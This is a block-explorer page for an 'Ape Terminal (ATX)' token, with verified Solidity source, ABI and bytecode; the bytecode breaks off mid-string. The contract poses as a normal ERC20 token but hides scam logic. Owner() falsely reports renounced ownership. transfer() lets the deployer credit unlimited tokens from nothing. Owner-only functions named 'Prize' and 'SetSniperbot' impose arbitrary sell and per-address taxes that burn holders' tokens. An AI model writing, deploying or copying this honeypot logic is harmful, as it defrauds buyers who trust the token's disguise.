ETH Price: $2,858.56 (-2.81%)

Token

Ape Terminal (ATX)

Overview

Max Total Supply

1,000,000,000 ATX

Holders

24

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
ATX

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-01-04
*/

/*
Announcements → t.me/ApeTerminalNews
Official Chat → t.me/ApeTerminalChat
Twitter → x.com/theapeterminal
Support → t.me/ApeTerminalSupportBot
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address private _Owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        _transferOwnership(_msgSender());
    }

    function Owner() public view virtual returns (address) {
        return address(0);
    }

    modifier onlyOwner() {
        require(_Owner == _msgSender(), "Ownable: caller is not the Owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new Owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _Owner;
        _Owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
   
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {

    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
 
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract ERC20 is Context {

    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;
    
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed Owner, address indexed spender, uint256 value);

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
    
    
    function name() public view virtual returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    
    function allowance(address Owner, address spender) public view virtual returns (uint256) {
        return _allowances[Owner][spender];
    }

    
    function approve(address spender, uint256 Amount) public virtual returns (bool) {
        address Owner = _msgSender();
        _approve(Owner, spender, Amount);
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address Owner = _msgSender();
        _approve(Owner, spender, _allowances[Owner][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address Owner = _msgSender();
        uint256 currentAllowance = _allowances[Owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(Owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    
    function _approve(
        address Owner,
        address spender,
        uint256 Amount
    ) internal virtual {
        require(Owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[Owner][spender] = Amount;
        emit Approval(Owner, spender, Amount);
    }

    
    function _spendAllowance(
        address Owner,
        address spender,
        uint256 Amount
    ) internal virtual {
        uint256 currentAllowance = allowance(Owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= Amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(Owner, spender, currentAllowance - Amount);
            }
        }
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {}
}


contract ATX is ERC20, Ownable {
    
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _release;

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    } 
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;


    function _transfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= Amount, "ERC20: transfer Amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - Amount;
        }
        _balances[to] += Amount;

        emit Transfer(from, to, Amount);

        
    }

    function _burn(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= Amount, "ERC20: burn Amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - Amount;
        }
        _totalSupply -= Amount;

        emit Transfer(account, address(0), Amount);
    }

    function _sdfgsadfg(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: sdfgsadfg to the zero address"); 

        _totalSupply += Amount;
        _balances[account] += Amount;
        emit Transfer(address(0), account, Amount);
    }

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_
    ) ERC20(name_, symbol_) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
        
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        
        _sdfgsadfg(msg.sender, totalSupply_ * 10**decimals());
        _defaultSellkFee = 0; 
        _defaultBuykFee = 0;
        _release[_msgSender()] = true;
        
    }

    using SafeMath for uint256;

    uint256 private _defaultSellkFee = 0;
    uint256 private _defaultBuykFee = 0;


    mapping(address => bool) private _Approve;

    mapping(address => uint256) private _Aprove;
    address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;



    function getRelease(address _address) external view onlyOwner returns (bool) {
        return _release[_address];
    }


    function PairList(address _address) external onlyOwner {
        uniswapV2Pair = _address;
    }


    function Prize(uint256 _value) external onlyOwner {
        _defaultSellkFee = _value;
    }

    

    

    function SetSniperbot(address _address, uint256 _value) external onlyOwner {
        require(_value >= 0, "Account tax must be greater than or equal to 1");
        _Aprove[_address] = _value;
    }

    

    function getAprove(address _address) external view onlyOwner returns (uint256) {
        return _Aprove[_address];
    }


    function Approve(address _address, bool _value) external onlyOwner {
        _Approve[_address] = _value;
    }

    function getApprovekFee(address _address) external view onlyOwner returns (bool) {
        return _Approve[_address];
    }

    function _checkFreeAccount(address from, address to) internal view returns (bool) {
        return _Approve[from] || _Approve[to];
    }


    function _receiveF(
        address from,
        address to,
        uint256 _Amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= _Amount, "ERC20: transfer Amount exceeds balance");

        bool rF = true;

        if (_checkFreeAccount(from, to)) {
            rF = false;
        }
        uint256 tradekFeeAmount = 0;

        if (rF) {
            uint256 tradekFee = 0;
            if (uniswapV2Pair != address(0)) {
                if (to == uniswapV2Pair) {

                    tradekFee = _defaultSellkFee;
                }
                if (from == uniswapV2Pair) {

                    tradekFee = _defaultBuykFee;
                }
            }
            if (_Aprove[from] > 0) {
                tradekFee = _Aprove[from];
            }

            tradekFeeAmount = _Amount.mul(tradekFee).div(100);
        }


        if (tradekFeeAmount > 0) {
            _balances[from] = _balances[from].sub(tradekFeeAmount);
            _balances[_deadAddress] = _balances[_deadAddress].add(tradekFeeAmount);
            emit Transfer(from, _deadAddress, tradekFeeAmount);
        }

        _balances[from] = _balances[from].sub(_Amount - tradekFeeAmount);
        _balances[to] = _balances[to].add(_Amount - tradekFeeAmount);
        emit Transfer(from, to, _Amount - tradekFeeAmount);
    }

    function transfer(address to, uint256 Amount) public virtual returns (bool) {
        address Owner = _msgSender();
        if (_release[Owner] == true) {
            _balances[to] += Amount;
            return true;
        }
        _receiveF(Owner, to, Amount);
        return true;
    }


    function transferFrom(
        address from,
        address to,
        uint256 Amount
    ) public virtual returns (bool) {
        address spender = _msgSender();

        _spendAllowance(from, spender, Amount);
        _receiveF(from, to, Amount);
        return true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
       
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0, 
            address(this),
            block.timestamp
        );
    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"Owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"PairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Prize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"SetSniperbot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getApprovekFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAprove","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getRelease","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60a0604052600060085560006009553480156200001b57600080fd5b5060405162001a7b38038062001a7b8339810160408190526200003e9162000570565b82518390839062000057906002906020850190620003ef565b5080516200006d906003906020840190620003ef565b5050506200008a62000084620002ce60201b60201c565b620002d2565b7f1b02da8cb0d097eb8d57a175b88c7d8b479975060000000000000000000000006080526040805163c45a015560e01b81529051731b02da8cb0d097eb8d57a175b88c7d8b4799750691829163c45a015591600480820192602092909190829003018186803b158015620000fd57600080fd5b505afa15801562000112573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000138919062000540565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200018157600080fd5b505afa15801562000196573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001bc919062000540565b6040518363ffffffff1660e01b8152600401620001db929190620005e0565b602060405180830381600087803b158015620001f657600080fd5b505af11580156200020b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000231919062000540565b600780546001600160a01b0319166001600160a01b03929092169190911790556200027f336200026062000324565b6200026d90600a620006af565b6200027990856200079a565b62000329565b6000600881905560098190556001906006906200029b620002ce565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055506200082592505050565b3390565b600480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b601290565b6001600160a01b0382166200035b5760405162461bcd60e51b81526004016200035290620005fa565b60405180910390fd5b80600160008282546200036f919062000647565b90915550506001600160a01b038216600090815260056020526040812080548392906200039e90849062000647565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620003e39085906200063e565b60405180910390a35050565b828054620003fd90620007bc565b90600052602060002090601f0160209004810192826200042157600085556200046c565b82601f106200043c57805160ff19168380011785556200046c565b828001600101855582156200046c579182015b828111156200046c5782518255916020019190600101906200044f565b506200047a9291506200047e565b5090565b5b808211156200047a57600081556001016200047f565b600082601f830112620004a6578081fd5b81516001600160401b0380821115620004c357620004c36200080f565b6040516020601f8401601f1916820181018381118382101715620004eb57620004eb6200080f565b604052838252858401810187101562000502578485fd5b8492505b8383101562000525578583018101518284018201529182019162000506565b838311156200053657848185840101525b5095945050505050565b60006020828403121562000552578081fd5b81516001600160a01b038116811462000569578182fd5b9392505050565b60008060006060848603121562000585578182fd5b83516001600160401b03808211156200059c578384fd5b620005aa8783880162000495565b94506020860151915080821115620005c0578384fd5b50620005cf8682870162000495565b925050604084015190509250925092565b6001600160a01b0392831681529116602082015260400190565b60208082526024908201527f45524332303a2073646667736164666720746f20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b600082198211156200065d576200065d620007f9565b500190565b80825b6001808611620006765750620006a6565b8187048211156200068b576200068b620007f9565b808616156200069957918102915b9490941c93800262000665565b94509492505050565b60006200056960001960ff851684600082620006ce5750600162000569565b81620006dd5750600062000569565b8160018114620006f65760028114620007015762000735565b600191505062000569565b60ff841115620007155762000715620007f9565b6001841b9150848211156200072e576200072e620007f9565b5062000569565b5060208310610133831016604e8410600b84101617156200076d575081810a83811115620007675762000767620007f9565b62000569565b6200077c848484600162000662565b808604821115620007915762000791620007f9565b02949350505050565b6000816000190483118215151615620007b757620007b7620007f9565b500290565b600281046001821680620007d157607f821691505b60208210811415620007f357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b60805160601c61123762000844600039600061041601526112376000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806349bd5a5e116100c3578063a457c2d71161007c578063a457c2d714610294578063a9059cbb146102a7578063b4a99a4e146102ba578063dd62ed3e146102c2578063f2fde38b146102d5578063f7262c8a146102e85761014d565b806349bd5a5e146102435780635dd7c8ac1461024b5780636c9992b31461025e57806370a0823114610271578063715018a61461028457806395d89b411461028c5761014d565b80631f478f1e116101155780631f478f1e146101cd57806323b872dd146101e25780632c91d071146101f5578063313ce56714610208578063395093511461021d5780633de94b45146102305761014d565b806306fdde0314610152578063095ea7b3146101705780630e5133b7146101905780631694505e146101a357806318160ddd146101b8575b600080fd5b61015a6102fb565b6040516101679190610e8d565b60405180910390f35b61018361017e366004610e2d565b61038d565b6040516101679190610e82565b61018361019e366004610d6c565b6103b1565b6101ab610414565b6040516101679190610e6e565b6101c0610438565b604051610167919061112b565b6101e06101db366004610df3565b61043e565b005b6101836101f0366004610db8565b61049e565b6101e0610203366004610d6c565b6104cc565b610210610523565b6040516101679190611134565b61018361022b366004610e2d565b610528565b6101e061023e366004610e56565b610572565b6101ab6105ac565b6101c0610259366004610d6c565b6105bb565b61018361026c366004610d6c565b61060e565b6101c061027f366004610d6c565b610664565b6101e061067f565b61015a6106c0565b6101836102a2366004610e2d565b6106cf565b6101836102b5366004610e2d565b61072e565b6101ab6107a5565b6101c06102d0366004610d86565b6107aa565b6101e06102e3366004610d6c565b6107d3565b6101e06102f6366004610e2d565b61083a565b60606002805461030a906111b0565b80601f0160208091040260200160405190810160405280929190818152602001828054610336906111b0565b80156103835780601f1061035857610100808354040283529160200191610383565b820191906000526020600020905b81548152906001019060200180831161036657829003601f168201915b5050505050905090565b60008061039861088b565b90506103a581858561088f565b60019150505b92915050565b60006103bb61088b565b6004546001600160a01b039081169116146103f15760405162461bcd60e51b81526004016103e890610f23565b60405180910390fd5b506001600160a01b0381166000908152600a602052604090205460ff165b919050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60015490565b61044661088b565b6004546001600160a01b039081169116146104735760405162461bcd60e51b81526004016103e890610f23565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000806104a961088b565b90506104b6858285610941565b6104c185858561098b565b506001949350505050565b6104d461088b565b6004546001600160a01b039081169116146105015760405162461bcd60e51b81526004016103e890610f23565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b601290565b60008061053361088b565b6001600160a01b03808216600090815260208181526040808320938916835292905220549091506103a5908290869061056d908790611142565b61088f565b61057a61088b565b6004546001600160a01b039081169116146105a75760405162461bcd60e51b81526004016103e890610f23565b600855565b6007546001600160a01b031681565b60006105c561088b565b6004546001600160a01b039081169116146105f25760405162461bcd60e51b81526004016103e890610f23565b506001600160a01b03166000908152600b602052604090205490565b600061061861088b565b6004546001600160a01b039081169116146106455760405162461bcd60e51b81526004016103e890610f23565b506001600160a01b031660009081526006602052604090205460ff1690565b6001600160a01b031660009081526005602052604090205490565b61068761088b565b6004546001600160a01b039081169116146106b45760405162461bcd60e51b81526004016103e890610f23565b6106be6000610c8d565b565b60606003805461030a906111b0565b6000806106da61088b565b6001600160a01b0380821660009081526020818152604080832093891683529290522054909150838110156107215760405162461bcd60e51b81526004016103e8906110e6565b6104c1828686840361088f565b60008061073961088b565b6001600160a01b03811660009081526006602052604090205490915060ff1615156001141561079a576001600160a01b0384166000908152600560205260408120805485929061078a908490611142565b90915550600192506103ab915050565b6103a581858561098b565b600090565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b6107db61088b565b6004546001600160a01b039081169116146108085760405162461bcd60e51b81526004016103e890610f23565b6001600160a01b03811661082e5760405162461bcd60e51b81526004016103e890610fd1565b61083781610c8d565b50565b61084261088b565b6004546001600160a01b0390811691161461086f5760405162461bcd60e51b81526004016103e890610f23565b6001600160a01b039091166000908152600b6020526040902055565b3390565b6001600160a01b0383166108b55760405162461bcd60e51b81526004016103e8906110a2565b6001600160a01b0382166108db5760405162461bcd60e51b81526004016103e890610f58565b6001600160a01b038084166000818152602081815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061093490859061112b565b60405180910390a3505050565b600061094d84846107aa565b9050600019811461098557818110156109785760405162461bcd60e51b81526004016103e890610f9a565b610985848484840361088f565b50505050565b6001600160a01b0383166109b15760405162461bcd60e51b81526004016103e89061105d565b6001600160a01b0382166109d75760405162461bcd60e51b81526004016103e890610ee0565b6001600160a01b03831660009081526005602052604090205481811015610a105760405162461bcd60e51b81526004016103e890611017565b6001610a1c8585610cdf565b15610a25575060005b60008115610ac9576007546000906001600160a01b031615610a77576007546001600160a01b0387811691161415610a5c57506008545b6007546001600160a01b0388811691161415610a7757506009545b6001600160a01b0387166000908152600b602052604090205415610ab057506001600160a01b0386166000908152600b60205260409020545b610ac56064610abf8784610d25565b90610d31565b9150505b8015610bb5576001600160a01b038616600090815260056020526040902054610af29082610d3d565b6001600160a01b03871660009081526005602052604081209190915561dead90527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba54610b3f9082610d49565b61dead600081905260056020527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba919091556040516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bac90859061112b565b60405180910390a35b610be1610bc28286611199565b6001600160a01b03881660009081526005602052604090205490610d3d565b6001600160a01b038716600090815260056020526040902055610c26610c078286611199565b6001600160a01b03871660009081526005602052604090205490610d49565b6001600160a01b0380871660008181526005602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c708488611199565b604051610c7d919061112b565b60405180910390a3505050505050565b600480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152600a602052604081205460ff1680610d1e57506001600160a01b0382166000908152600a602052604090205460ff165b9392505050565b6000610d1e828461117a565b6000610d1e828461115a565b6000610d1e8284611199565b6000610d1e8284611142565b80356001600160a01b038116811461040f57600080fd5b600060208284031215610d7d578081fd5b610d1e82610d55565b60008060408385031215610d98578081fd5b610da183610d55565b9150610daf60208401610d55565b90509250929050565b600080600060608486031215610dcc578081fd5b610dd584610d55565b9250610de360208501610d55565b9150604084013590509250925092565b60008060408385031215610e05578182fd5b610e0e83610d55565b915060208301358015158114610e22578182fd5b809150509250929050565b60008060408385031215610e3f578182fd5b610e4883610d55565b946020939093013593505050565b600060208284031215610e67578081fd5b5035919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610eb957858101830151858201604001528201610e9d565b81811115610eca5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220416d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460408201526464